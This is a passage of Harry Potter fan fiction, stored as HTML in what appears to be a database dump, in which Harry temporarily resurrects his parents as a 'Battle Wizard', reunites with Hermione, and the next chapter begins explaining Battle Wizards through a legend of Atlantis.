style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Please,\nplease, one at a time,&quot; said Dumbledore, still smiling.&nbsp; &quot;As many of you know, I was over seeing\nHarry Potter\'s training in the Battle Wizard training facility in the Himalayas\nthese past two years.&nbsp; I myself have\njust completed my own battle preparations there and was finally able to\nreturn.&nbsp; Now about Lily and\nJames...&quot; Dumbledore smiled at them.&nbsp;\n&quot;Do any of you know what is one of the most amazing abilities of a\nBattle Wizard?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron shrugged an\nsaid, &quot;Uh, no.&nbsp; That would be\nsomething Hermione would know.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore smiled\nand said, &quot;Although it is not fully known to other people, the most\namazing ability of a Battle Wizard is the ability to temporarily resurrect the\ndead for a month for a specific purpose.&nbsp;\nHarry raised Lily and James to help us in our fight against\nVoldemort.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius and Remus\nturned to James and Lily who nodded.&nbsp;\n&quot;So, you haven\'t really come back, have you?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily sighed and\nsaid, &quot;No, we\'ll fade away again after the month is up.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;But that\'s\nnot going to happen for some time,&quot; said James with a grin.&nbsp; &quot;So all of you are stuck with us for a\nwhile.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment,\nthere was a strong gust of wind.&nbsp; The\nresistance fighters all looked up to see someone flying toward them on a broomstick.&nbsp; The resistance fighters all held their\nbreaths but released them when they saw it was Harry Potter with what looked\nlike a large bundle on his back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry landed about\ncouple of meters away from the resistance members.&nbsp; He looked around at the bodies of all of the Dark Forces before\nhe caught sight of James, Lily, and Dumbledore.&nbsp; &quot;You were attacked?&quot; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I am afraid\nso,&quot; said Dumbledore.&nbsp; &quot;But\nthe members of the resistance were able to fight them off.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;With a\nlittle help from your parents,&quot; said Ron looking excited.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh come now,\nwe didn\'t really do anything,&quot; said James.&nbsp; &quot;Just knocked out a giant.&nbsp;\nAnd it was Lily who did that.&quot;&nbsp;\nJames beamed at Lily who smiled back at him.&nbsp; They kissed each other briefly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So,\nHarry,&quot; said Ron walking up to him, &quot;where did you go?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well I was\nlooking for someone,&quot; said Harry as he gently nudged the\n&quot;bundle&quot; on his back.&nbsp; The\n&quot;bundle&quot; timidly lifted up a full head of long bushy brown hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron gasped and\nasked, &quot;Hermione?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hello,\nRon,&quot; said Hermione a little shyly.&nbsp;\nShe glanced at Harry unsurely who smiled and briefly kissed her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment,\nall of the resistance members dashed up to Harry and Hermione, all highly\noverjoyed for what had suddenly turned into the happiest day of their lives.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few days later,\nHermione was in a new wheelchair, in the stands of the Quidditch pitch.&nbsp; She was watching Harry and James, playing a\nmini-game of Quidditch with just the Seeker and Chaser.&nbsp; The idea was that James had to score at\nleast sixteen goals before Harry could catch the snitch.&nbsp; The bludgers were flying around trying to\nknock them off their brooms as they flew around each other, James trying to get\nthe quaffle through the hoops while Harry searched for the snitch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\nup at Harry who was zooming around on his Firebolt, chasing the snitch\naround.&nbsp; She had never seen Harry so\nhappy and joyful as he zoomed around playing Quidditch with his father.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;They\'re so\nmuch like children,&quot; said a voice next to her.&nbsp; Hermione looked up to see Lily sit next to her.&nbsp; &quot;Hello Hermione, how are you\ndoing?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Feeling a\nlittle worried,&quot; said Hermione as she glanced up at Harry.&nbsp; She winced when a bludger nearly hit him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I know exactly\nwhat you mean,&quot; said Lily.&nbsp;\n&quot;There were so many times back in school when I just worried myself\nto death whenever I saw James out on the Quidditch Pitch.&quot;&nbsp; She also winced as James dodged a stray\nbludger.&nbsp; He and Harry were laughing as\nthey continued zooming around in the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ve never\nseen Harry so happy before,&quot; said Hermione.&nbsp; It brought so much joy to Hermione to see Harry so happy to\nfinally be with his parents, however brief that time might be.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily sighed\nsadly.&nbsp; &quot;Harry\'s missed so much,&quot;\nshe said.&nbsp; &quot;He never deserved\ngrowing up without us.&nbsp; James and I\nshould\'ve been there with him.&quot;&nbsp;\nShe turned toward Hermione and asked, &quot;What is he like from your\npoint of view.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry is the\nmost amazing person I ever met,&quot; said Hermione.&nbsp; &quot;He\'s selfless, kind hearted, and never asks anything for\nhis fame.&nbsp; He always thinks about others\nfirst, but its sometimes so amazing that he grew up that way when he could\'ve\ngrown up to be cold and cynical because of his upbringing, or maybe arrogant\nbecause of his fame.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily smiled and\nsaid, &quot;You love him, don\'t you?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked up\nat Lily in mild surprise to hear this coming from Harry\'s mother, but she\nsmiled and nodded, a faint blush settling on her cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;James and I\nhave always been looking over Harry, even when we couldn\'t be with him,&quot;\nsaid Lily.&nbsp; &quot;I\'ve seen the way you\nlook at Harry, it&#8217;s the same way I used to look at James when we were in\nschool.&quot;&nbsp; She suddenly stood up,\nwalked over and kneeled in front of Hermione.&nbsp;\nShe placed her hands on Hermione\'s shoulders and looked intensely into\nHermione\'s eyes, her green ones gazing into her brown.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Lily?&quot;\nasked Hermione a little timidly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione\nGranger,&quot; said Lily with a smile on her face.&nbsp; &quot;I would be honored if you became out daughter in law.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione gasped\nand spluttered, &quot;W...what?&nbsp;\nI...I...I...&quot; She wasn\'t able to continue for at that moment, Harry\nand James touched down right next to them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hey,\nbeautiful,&quot; said Harry with a smile.&nbsp;\nHe leaned in toward Hermione but Hermione backed away a little, blushing\nfuriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry, we\'re\nin front of your parents.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry glanced up\nat Lily and James.&nbsp; Lily winked at Harry\nwhile James wrapped his arms around Lily and grinned at his son.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry grinned and\nsaid, &quot;Who cares,&quot; He leaned forward and kissed her\npassionately.&nbsp; Hermione smiled and\nkissed him back, equally as strong.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That\'s my\nboy!&quot; crowed James.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Well, did you\nlike this chapter?&nbsp; I hope it was\nenjoyable.&nbsp; At least, you all finally\nfound out who the rider and the stag are (vast majority of you were\ncorrect).&nbsp; So, please R/R this chapter.&nbsp; Next: You will finally get a full\nexplanation of what a Battle Wizard is.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 12, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;For in\nsix days the Lord made the heavens and the earth, the sea, and all that is in\nthem, but he rested on the seventh day.&nbsp;\nTherefore, the Lord blessed the Sabbath day and made it holy.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right;layout-grid-mode:char;word-break:break-all" align="right"><i>Exodus 20:11</i></p>\n\nChapter 12: A\nTime of Rest\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The full moon\nshone over the Hogwarts grounds and the snow in the Forbidden Forest glittered\nin the moonlight.&nbsp; The howl of a wolf\nwas heard and a mighty wolf leapt into between the trees, running around as if\nhe were home.&nbsp; As the wolf prowled\naround the snow, a large black bounded forward and pounced on the wolf with a\njoyful yip.&nbsp; The two started pouncing on\neach other playful when a stag charged them, its antlers lowered.&nbsp; The dog and the wolf broke apart and started\nto chase after the stag in a playful manner.&nbsp;\nHowever, the next animal to come was one that made the scene so much\nmore different than the one that was often scene decades ago.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For what had\nfollowed was not a cowardly rat, but rather, a majestic lion.&nbsp; The lion pounced after the other three\nanimals.&nbsp; The lion especially seemed to\nenjoy chasing after the stag and the wolf and dog were often inclined to watch\nthe other two animals play around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron and Margaret\nwere walking around the corridors of the castle, looking for a good place to\nmake out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well, since\nwe\'ve used up every single broom closet in the castle, where should we go\nnext?&quot; asked Margaret, a glint in her eye that suggested something.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The\nlibrary?&quot; said Ron with a raised eyebrow.&nbsp;\nMargaret grinned and the two made their way to the library.&nbsp; They made their way to the back of the\nlibrary where they could get some privacy.&nbsp;\nUnfortunately, when they got there, they found Hermione there with her\nhead buried in a large book.&nbsp; There was\nalso a whole lot other books on the desk nearby.&nbsp; Hermione looked up at the couple and smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hi Ron,\nMargaret,&quot; she said.&nbsp; &quot;You\nknow, the library isn\'t the place you want to go for a make out session.&nbsp; Try the Astronomy Tower, that\'s where Harry\nand I go.&quot; She blushed red as she said the last part.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron and Margaret\nblushed furiously.&nbsp; &quot;So where is\nHarry?&quot; asked Ron.&nbsp; Hermione\npointed out the window at the full moon.&nbsp;\nRon nodded in understanding.&nbsp;\nEver since the end of their third year, Harry had often wished that he\ncould go on one of the full moon escapades the Marauders\' had gone on during\ntheir school days.&nbsp; This was his only\nchance to do so with his father as well.&nbsp;\nFurthermore, it was an excellent opportunity for Harry to get to know\nJames better.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I guess it\nmakes sense,&quot; said Ron.&nbsp; &quot;This\nmonth is the only time Harry ever gets to spend with his parents.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&nbsp; Why?&quot; asked Margaret, &quot;Can\'t Harry\nbring them back any time he likes?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione shook her\nhead.&nbsp; &quot;No, a Battle Wizard can\nresurrect a dead person only once and once only.&nbsp; This one time is the only time Lily and James can come\nback.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron glanced at\nHermione who had her face buried in her book again.&nbsp; Sure she was in a wheelchair with no legs, but the sight of her\nwith a book in the library was so familiar that Ron couldn\'t help but\nchuckle.&nbsp; Margaret elbowed Ron in the\nribs as Hermione looked up at him, a scowl on her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What\'s so\nfunny, Ron?&quot; she asked with a warning tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh its just\nthat this sight is so familiar,&quot; said Ron.&nbsp; &quot;Seeing you here in the library, reading books\nabout...&quot; he picked up one of the books, but his eyes went wide in\nsurprise and confusion as he realized what subject they were on.&nbsp; &quot;Battle Wizards?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione nodded\nand said, &quot;Ron, do you know anything about Battle Wizards?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Er,\nno.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well you\nshould read more.&nbsp; It would\'ve helped\nwith your grades back in school.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron scowled as\nMargaret chuckled and said, &quot;That\'s what I always tell him.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;My grades\nwere fine,&quot; said Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Because of\nmy help,&quot; pointed out Hermione.&nbsp;\nRon grumbled but didn\'t say anything since it was true.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So what does\nthe great bookworm have to say about Battle Wizards?&quot; said Ron.&nbsp; Hermione chose to ignore the comment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You\'ve heard\nabout Atlantis, right?&quot; asked Hermione.&nbsp;\nWhen Ron and Margaret nodded, Hermione continued, &quot;It\'s the great\ncontinent in the Atlantic that sank below the sea thousands of years ago.&nbsp; Muggles have legends about Atlantis as\nwell.&nbsp; What muggles don\'t know is that\nAtlantis was the ancestral home of the magical community.&nbsp; Virtually all wizards and witches of the\nancient world lived on Atlantis.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I know all\nthis,&quot; hissed Ron.&nbsp; Margaret glared\nat him as Hermione continued.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What a lot\nof people don\'t know about are the ancient guardians of Atlantis, the Battle\nWizards.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 